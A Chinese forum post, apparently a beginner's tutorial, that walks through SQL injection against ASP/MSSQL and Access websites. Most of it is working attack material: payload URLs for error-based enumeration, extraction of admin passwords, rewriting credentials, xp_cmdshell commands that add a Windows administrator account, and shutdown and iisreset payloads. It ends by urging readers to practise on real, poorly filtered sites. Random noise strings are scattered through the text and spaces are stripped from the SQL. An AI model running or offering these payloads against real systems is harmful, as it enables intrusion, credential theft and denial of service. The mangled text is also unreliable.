[安全]菜鸟SQL注入详解

踏浪行歌

菜鸟SQL注入详解 # G9 G4 b' ~3 F3 Y V4 _0 H% a' ` 网上有很多高手GG们写的利用SQL注入如何去黑网站的，偶看了，嘿嘿。 ( u( }: x5 P0 m5 q' h不过可能对于一些初学者而且，有点难。在这里，小林想把这个过时的 东东作一次全面的交待，尽量让没有编程基础的DDMM们很快的拿握这门技术。 + r& N( Q2 b" y& J! I1 v4 m利用SQL进行添加，更改，查看记录。 : l7 G- z9 m. w: h, Q% I5 B

当一台主机台开了80端口，当你手头没有任何黑客工具，那么，偶们有SQL。 他不需要你其他东东，只要一个浏览器就够了。HOHO，偶的文章菜菜，偶写这 篇文章只是为了让一些对SQL很陌生的菜菜们看的，老鸟绕道。。。 - q7 n" G# I$ P* g v' l

1，什么是SQL注入？ ( i! P- N) F! P, d* R

SQL注入，就是利用欺骗的方式，通过网页的查询功能，或查询命令注入。 当用户来到网站，会提交一些数据，再到数据库进行查询，确定此用户的身份。 举个简单的例子来说吧，你去一个站点的论坛，那么，你会输入你的用户名和 密码，点“确定”，网站会通过数据库的查询来判断你是不是他们的用户， ( T1 x: D# X+ [4 ]你的用户名和密码是否正确。而利用SQL注入，通过构造特殊的语句，来查找我 $ F+ c, L% F1 i2 m, o们所想要得到的信息，如管理员的帐号密码。以下，小林用了http://xxx.xxx.com 3 \* V& {- X7 S, z4 I6 O1 a来表示一个存在注入漏洞的网页。

: U1 K0 x3 W X/ c R9 } w1 Y2，助手篇， 先把IE菜单-工具-Internet选项-高级-显示友好HTTP错误信息前面的勾去掉。 否则，不论服务器返回什么错误，我们都只能看到“HTTP500服务器错误”，不能获得更多的提示信息

。

3，哪些网页能利用？ 我们去找一些要提交数据的网页，如：登陆页面，查找页面，添加页面等 2 k/ W- h% [1 t z! c: o! a, p. ^( \% Q找到后，如果你注意过网页的源代码，那么，你会发现，他上面一般有一个如下的表单： 7 O# K* o6 ^5 n+ d) D

<FORMaction=login.aspmethod=post> 5 p+ J1 g% m# x; H<input........ 3 O/ m. O) [7 y3 r g, X</FORM>

这些网页，后缀如asp,jsp,cgi，php网页。 ! B5 k+ p8 X7 V0 h如：http://xxx.xxx.com/index.asp?id=10 上面这个例子，就是ASP页后，看到他的ID还的值了吗？是10。一般，我们找的就是这些页面 % j6 Q- D& }% s来练手了。（要做个好人噢。（^_^）像小林一样的好人。）

4，怎么测试它是存在注入漏洞的呢？这一步偶称它为“踩点”。 小林有一个毛病，看什么网页，就要顺手在参数（如上面的10）上加一个小小的引号。 http://xxx.xxx.com/index.asp?id=10 返回错误信息：

MicrosoftOLEDBProviderforSQLServer错误80040e14

字符串之前有未闭合的引号。

/job/grxx.asp，行141

这就是说，他用的是MsSQL数据库。这个引号，导致引号未闭合的错误。本身就是错的，因为 通常一个整数是不用在SQL里加引号的。

如果他不是一个整数而是字母呢？ ) f# F* q/ {% [% a8 I

http://xxx.xxx.com/index.asp?user=lamb

那我们就把引号放到lamb中间，如lamb 呵呵，又出错了吧？ + W% b$ w5 w/ |# r0 }5 P

这说明，站点这一部分的代码是大有问题的（当然，就算他有源码公布在网上，我也懒得看）

当然，我们也可以提交： 6 s1 \0 b) ^' x; D \http://xxx.xxx.com/index.asp?id=10;ANDcolumnaaa=5(注，这里的columnaaa是我乱写的) 出现错误信息： ' s3 E q/ d1 r1 x B4 x

MicrosoftOLEDBProviderforODBCDrivers错误80040e14

[Microsoft][ODBCSQLServerDriver][SQLServer]Invalidcolumnnamecolumnaaa.

/job/grxx.asp，行27 4 k& E, t5 G d6 P7 C这说明，这是一个SQL，里面没有columnaaa这个字段（我习惯说“列”）。

利用出错的信息，我们现在多少了解了这个站点的服务了吧？

5，现在开工啦，偶不喜欢猜测他的字段名，太浪费TIME了，我们要想办法让数据查询中出错。 : T( y. w- ?5 o" O9 q; e: \要产生一个错误让它自己报出数据库里的值。让我们用一用SQL语法GROUPBY或HAVING。如： . o9 y6 ^# p7 E( u. k0 x

http://xxx.xxx.com/job/grxx.asp?id=23%20HAVING%201=1-- 1 k' r: J" L5 a% \0 v- F6 v

出现错误信息： % u3 D# c+ x4 O0 ^$ OMicrosoftOLEDBProviderforODBCDrivers错误80040e14 % w. l3 Q' r# n7 [+ V

[Microsoft][ODBCSQLServerDriver][SQLServer]Columnarticle.newsidisinvalidinthe 2 u! i0 ?: B. x/ D# @8 g4 T5 \

selectlistbecauseitisnotcontainedinanaggregatefunctionandthereisnoGROUPBY

clause.

/more.asp，行27

看到article.newsid了吗？说明有一个叫article.newsid的列，因为你在用HAVING，所以你必须还要用 6 i. k8 c N" S

上GROUPBY，于是黑客就重复错误提交，直到没有得到错误。 这里要说明一下：分号在这里分离，%20是空格，--表示后面是一个注释，也就是说只是说明，不能去 / e6 g7 |6 y6 \$ B. a

执行代码。(*_*)

下面是具体例子： / h2 l, _9 P3 j6 R& F5 r

提交： , G1 \7 \- B0 N- W; W' V0 {http://xxx.xxx.com/job/grxx.asp?id=23%20HAVING%201=1-- 得到article.newsid这真是好东西。 提交： http://xxx.xxx.com/job/grxx.asp?id=23%20group%20by%20article.newsid%20having%201=1-- + ? X, g! P; u; J! t得到错误信息： MicrosoftOLEDBProviderforODBCDrivers(0x80040E14) 8 ?( c" H, L. a: V

[Microsoft][ODBCSQLServerDriver][SQLServer]Columnarticle.titleisinvalidinthe

selectlistbecauseitisnotcontainedineitheranaggregatefunctionortheGROUPBY

clause.

/more.asp，line20 * `( P% `* H% a. f$ d

得到： 1 S& j* x3 C, I2 Rarticle.title 我们反复地一个一个加上来提交。 8 G( w: d; c; V% j/ Z& P- V9 H( }! u& N得到错误信息： MicrosoftOLEDBProviderforODBCDrivers(0x80040E14) / v- N; K) y' w

[Microsoft][ODBCSQLServerDriver][SQLServer]Columnadm.userNameisinvalidinthe $ ^: Q' z- G. c8 c+ d: [1 w

selectlistbecauseitisnotcontainedineitheranaggregatefunctionortheGROUPBY

clause.

/more.asp，line56

这里要注意了，都到哪儿了？到下一个表了。 现在我们知道这里至少有2个表，他们的别名是：adm和article，如里面article对应的是：newsid等

title 4 ^* N# b) j: ?! {6 L3 q8 n! |

利用系统表： ! y6 x9 d% R# ? K. A# _

下面，我们要确定表名来加入数据。 " M# h& K3 S/ T1 E& ^. k: Q( h系统表是MS-SQL2000的一部分，名叫sysObjectstable，我们将要用到查询UNIONSELECT,。 , z0 q' \' h. G+ r _1 l6 m要从SysObjectstable有天地拿到表名，一般使用下面语句： 6 L5 b5 z( |! t$ JSELECTnameFROMsysObjectsWHERExtype=UU是指明定议USER的表。 黑客们已经知道了表里的列， 0 _8 {8 J3 ~8 x4 d0 F3 o现在他们能在下面加一些数字。甚至如下面的：

在地址栏里打入： 6 O' e5 }5 ]8 H1 ^6 \! V/ i

http://xxx.xxx.com/job/grxx.asp?id=23%20UNION%20ALL%20SELECT%; , ?+ H9 M8 o) C4 Y( v i5 f$ Y201,2,3,4,5,6,name%20FROM%20sysObjects%20WHERE%20xtype=U-- 记住，上面的，1-6数据中，6是我们想要的。不过有时候会出现数据类型错误，

http://xxx.xxx.com/job/grxx.asp?id=23%20SELECT;TOP1TABLE_NAMEFROM ) u3 w6 }( t0 Z, ?3 K

INFORMATION_SCHEMA.TABLES-- 9 t3 I! Z! D7 y5 I9 ]" i

MSSQL服务将试图去转换一个string(nvarchar)到integer。那么就会出错：

MicrosoftOLEDBProviderforODBCDriverserror80040e07 [Microsoft][ODBCSQLServerDriver][SQLServer]Syntaxerrorconvertingthenvarcharvalue

table1toacolumnofdatatypeint. + k" P; D$ o" W2 ~/index.asp,line5 0 E$ I) ~$ I& R) o J. Z( ?8 s

这个错误信息很“友好”地告诉我们string(nvarchar)值不能被转换成integer。 这样，我们就获得了数据表的第一个表名！这个表名就是tabel1。

要获得第二个表名，我们继续，用以下查询： http://xxx.xxx.com/job/grxx.asp?id=23%20UNION;SELECTTOP1TABLE_NAMEFROM : O% w! n9 H( g% K

INFORMATION_SCHEMA.TABLESWHERETABLE_NAMENOTIN(table1)-- - G& p) u# v \

也可以用关键字查找数据： 9 v0 k9 r# j3 _http://xxx.xxx.com/job/grxx.asp?id=23;UNIONSELECTTOP1TABLE_NAMEFROM

INFORMATION_SCHEMA.TABLESWHERETABLE_NAMELIKE%25ADMIN%25-- & l- B7 n& Q0 [, Z现在错误信息： / E, J+ b O+ m% V1 [MicrosoftOLEDBProviderforODBCDriverserror80040e07 [Microsoft][ODBCSQLServerDriver][SQLServer]Syntaxerrorconvertingthenvarcharvalue 9 y8 m* V" R8 P8 Y( x ^

admin_logintoacolumnofdatatypeint. /index.asp,line5 , T2 Z) _9 k- X

寻找与之匹配的值，%25ADMIN%25在SQL服务器上将被认作%ADMIN%。这样，我们就能获得符合标 . e% U( W) H( z* k8 ?8 S准的表名为"admin_login"的表了。

那么，如何获得表里所有的列表？ # h; J$ [/ D4 C* h

我们能利用另一个有用的东东，INFORMATION_SCHEMA.COLUMNS出场！！！ http://xxx.xxx.com/job/grxx.asp?id=23;UNIONSELECTTOP1COLUMN_NAMEFROM $ D4 I9 C' B4 _6 b4 f9 Z1 j

INFORMATION_SCHEMA.COLUMNSWHERETABLE_NAME=admin_login--

现在错误信息： s) Z( ~$ P: H, SMicrosoftOLEDBProviderforODBCDriverserror80040e07 [Microsoft][ODBCSQLServerDriver][SQLServer]Syntaxerrorconvertingthenvarcharvalue ) h: \ ?, L. u# U2 y" X

u_idtoacolumnofdatatypeint. /index.asp,line6 8 E+ `' p" ?2 |5 G看，我们有了第一个字段的名，我们用NOTIN()来获得下一个字段名： - i R7 ]/ t; z% Rhttp://xxx.xxx.com/job/grxx.asp?id=23;UNIONSELECTTOP1COLUMN_NAMEFROM

INFORMATION_SCHEMA.COLUMNSWHERETABLE_NAME=admin_loginWHERECOLUMN_NAMENOTIN

(u_id)-- 现在错误信息： MicrosoftOLEDBProviderforODBCDriverserror80040e07 [Microsoft][ODBCSQLServerDriver][SQLServer]Syntaxerrorconvertingthenvarcharvalue " Y2 O7 I. ]- Y( b3 l. A

u_nametoacolumnofdatatypeint. /index.asp,line5 # l; w" o! R+ x% w我们继续，获得其他列表。如："password"等，因为我们获得下面错误信息： http://xxx.xxx.com/job/grxx.asp?id=23;UNIONSELECTTOP1COLUMN_NAMEFROM

INFORMATION_SCHEMA.COLUMNSWHERETABLE_NAME=admin_loginWHERECOLUMN_NAMENOTIN % K, x* U6 U3 n0 U/ x& f4 u3 y" X

(u_id,u_name,password,contents)-- 现在错误信息： MicrosoftOLEDBProviderforODBCDriverserror80040e14 [Microsoft][ODBCSQLServerDriver][SQLServer]ORDERBYitemsmustappearintheselect / W! Q0 w6 a" n B7 V

listifthestatementcontainsaUNIONoperator. /index.asp,line5 6。2如何找到我们要找的重要数据呢？ & A; f1 B; i: |$ c+ r* L现在我们知道了表名，字段名，我们用相同的方法收集我们要的在数据库里的信息。 现在，我们从"admin_login"表里取得第一个u_name： 9 ^8 S" b7 f" Q1 Q0 whttp://xxx.xxx.com/job/grxx.asp?id=23;UNIONSELECTTOP1u_nameFROMadmin_login-- 现在错误信息： MicrosoftOLEDBProviderforODBCDriverserror80040e07 [Microsoft][ODBCSQLServerDriver][SQLServer]Syntaxerrorconvertingthenvarcharvalue c) s4 V* w6 i5 _, C( q

adminroottoacolumnofdatatypeint. % Z& X' `4 B/ h; s- m/index.asp,line5

我们知道，这里有登陆的用户名叫"adminroot"的管理员。最后，从数据库里获得"adminroot"的密码

： 1 {& b H5 [( ~* uhttp://xxx.xxx.com/job/grxx.asp?id=23;UNIONSELECTTOP1passwordFROMadmin_loginwhere ]+ J. u- t; ?! d% b+ c/ P

u_name=adminroot-- # {: G+ x& F" f现在错误信息： 2 d5 Z; J& b ~% P% a1 r8 |* ^" BMicrosoftOLEDBProviderforODBCDriverserror80040e07 [Microsoft][ODBCSQLServerDriver][SQLServer]Syntaxerrorconvertingthenvarcharvalue 2 h" Z) ]/ y' ]0 K1 M

roottoacolumnofdatatypeint. /index.asp,line5 ( P. n. u) M" c我们现在能用户名"adminroot"密码："root"登陆了。 3 [ E) n# ^9 j- b" ]# [

7 H. Q9 J2 y6 b) Y如何取得数字的值？

以上技术描述有有一定的局限性。当我们试图转换文本组成有效的数字0-9我们不能得到任何错误。 8 n4 q; x% O( Y" u2 U让我们说说如何获得"tony"的密码，密码是"19840217": * W9 S, C' M! z4 e. O9 V3 ehttp://xxx.xxx.com/job/grxx.asp?id=23;UNIONSELECTTOP1passwordFROMadmin_loginwhere # h/ l8 }/ G& m5 o; H( w" s

u_name=tony-- ' G9 o1 ]3 @4 @% ^& i# J我们很可能发现，该页无法显示的错误。这结果表示，密码"19840217"被修改到一个数了。在整 合一个整型(10也是)，因为这是一个有效的整合。所以SQL服务就不会给出错误的提示了。 我们就得不到数字的登陆了。 3 @) w: Z: p/ L3 W6 s& F! ~: V要解决这个问题，我们能附加一些字母来测试转换失败。我们用以下的测试来代替： http://xxx.xxx.com/job/grxx.asp?id=23;UNIONSELECTTOP1convert(int, ! O k: C- d: [" A1 U. r' x

password%2b%20lambgirl)FROMadmin_loginwhereu_name=tony-- - ~ W, R& w! }

我们简单地利用加号+设置密码数据文件的搜索路径。随便加一些。ASSCII码+=0x2b 我们将添加空格在密码里。所以，如果把我们的密码是19840217。他将变成19840217lambgirl. 调出了转换了的函数。试着将19840217lambgirl转变成整型。SQL服务将出现ODBC错误： MicrosoftOLEDBProviderforODBCDriverserror80040e07 K- p0 V( t2 w+ p/ [$ [" j[Microsoft][ODBCSQLServerDriver][SQLServer]Syntaxerrorconvertingthenvarcharvalue

19840217lambgirltoacolumnofdatatypeint. /index.asp,line5 现在，你就能用tony和密码：19840217lambgirl了。

如何在数据库修改，插入数据？ ! S. |/ W% T6 r5 `当我们成功地获得了表名，字段。就很容易在数据库里修改甚至插入新的数据。如更改"adminroot" ! h2 ?9 l: o, b" y9 X/ P! Q的密码，我们

http://xxx.xxx.com/job/grxx.asp?id=23;UPDATEadmin_loginSETpassword=newpas5WHERE 9 G: d5 G- z# _4 g! P8 k

u_name=adminroot-- - a% w# r3 c9 L+ M8 R

要在数据表里插入新记录，

http://xxx.xxx.com/job/grxx.asp?id=23;INSERTINTOadmin_login(u_id,u_name,

password,contents)VALUES(123,xiaolin,pas,lambgirl)-- 现在，我们就能用xiaolinpas来登陆了。

如何远程执行SQL漏洞？ * z7 `- t5 x r+ ?

能进行SQL注入命令表明，我们能查任何我们想要查的。默认安装的的MSSQL服务 在系统中权限等于管理员。我们能利用执行存储过程像xp_cmdshell来执行远程破坏： & e- e" d) z( g4 C! j& C& N- n;execmaster..xp_cmdshellping192.168.0.2-- ! R( n; D$ x) V$ M. c# o, _, Y

(如果单引号不能用，就换成双引号)

分号表示结束前面的SQL查询，从而允许你开始另一个新的SQL命令。 & l2 M4 i5 x! {为了检验命令成功执行，你可以监听从192.168.0.2发出的的ICMP包。查看是否发出包。 " b$ x! G: k! Y+ S, A: ~+ i

#tcpdumpicmp 如果你没有接到PING主机的回应，得到一个错误的提示，权限错误，那么，很可能管理员 限制了WEB用户对xp_cmdshell等的权限。

如何找出MYSQL查询结果？ 0 @% h8 y1 y# E' y9 r这很容易用sp_makewebtask来把你查询的结果放到一个HTML里： ! `1 |5 z1 K1 L5 |# c5 }7 x0 g;EXECmaster..sp_makewebtask"\\192.168.0.2\share\girlxiaolin.html","SELECT*FROM

INFORMATION_SCHEMA.TABLES" 但是目标IP必须共享文件夹。 8 W6 _9 k) S) w9 l9 {1 M; {

http://xxx.xxx.com/job/grxx.asp?id=23;;execmaster..xp_cmdshell“netusername + X$ s [* Q6 C) h+ s2 @password/add”-- : r6 R6 n; ~: S7 Q+ k

xp_cmdshell用于调用系统命令，于是，用net命令新建了用户名为name、密码为password 4 X: H; ?( X8 P, A3 f+ M" x$ J$ ` ]的windows的帐号，接着： % i7 x5 {& D( A! N3 Y, h) I4 Lhttp://xxx.xxx.com/job/grxx.asp?id=23;;execmaster..xp_cmdshell“netlocalgroupname

administrators/add”-- 将新建的帐号name加入管理员组，不过这种方法只于用sa连接数据库的情况，否则，没有权限调用 ' ^- R5 Y* i) A

xp_cmdshell。 $ ?# @( B" V; ~& {

其他方面，如利用SQL的命令填写： 将使SQL服务快速关闭 ) G, y+ V7 q& q4 |/ ?6 F9 k用户名:;shutdownwithnowait;-- 密码:不填

导致严重问题，网络故障。 用户名:;execmaster..xp_cmdshelliisreset;-- # D, ^" J$ ]. L密码：不填

关于ACCESS部分， / U6 y# n7 i' W( i5 I- j5 b

和ASSQL差不了多少，也是先在http://xxx.xxx.com/index.asp?id=10 4 |( m7 y" Z {* [& x

出错的话，继续提交： ' U+ @: n8 I4 ^9 V. T/ E8 K* o- c先测试是否有ADMIN表， http://xxx.xxx.com/index.asp?id=10and0<>(selectcount(*)fromadmin) ! p- a) S: `( ?1 K- p3 X l O

http://xxx.xxx.com/index.asp?id=10and1=(selectcount(*)fromadmin) 没有的话，就换一个名字，如user啊，什么的。再猜里面是否有username这个字段.

and1=(selectcount(*)fromadminwherelen(username)>0) 2 Y. ~0 x& \ i* _3 S如果出错，同理，我们也可以给它换一个名字。 z! F6 V. ^2 r6 z5 P5 ~! U接下来我们猜用户的具体名字。 6 L+ ?9 \9 e+ j4 W; x! `$ Iand1=(selectcount(*)fromadminwhereleft(username,1)=l) , M) e2 g/ z) n- `2 p( z这时我们可以一个一个地来猜。 and1=(selectcount(*)fromadminwhereleft(username,2)=la) 接下来猜密码，猜密码的道理同猜用户名一样。 and1=(selectcount(*)fromadminwhereleft(password,1)=l) 4 m* l+ L& [( p; K4 C* g% a

好了，不写了，这篇文章小林写了好几天了，累死了，还是条理不清楚。 6 Y* n8 I6 H/ @$ p3 s文章还有很多不全面的地方。还有一些专业术语，小林可能也有误，不过小菜们拿来看看还 是行的啦。如果哪些写错了，请老鸟们加偶：165442496，告诉我错误，我会修正的。 我试过了，很多用MsSQL站点过滤不完整的网上也很多。所以大家可以找来练练手。 # q. g$ ^4 M5 i# V) X) J $ n0 A% Y( E' ^3 u0 Z

[em09]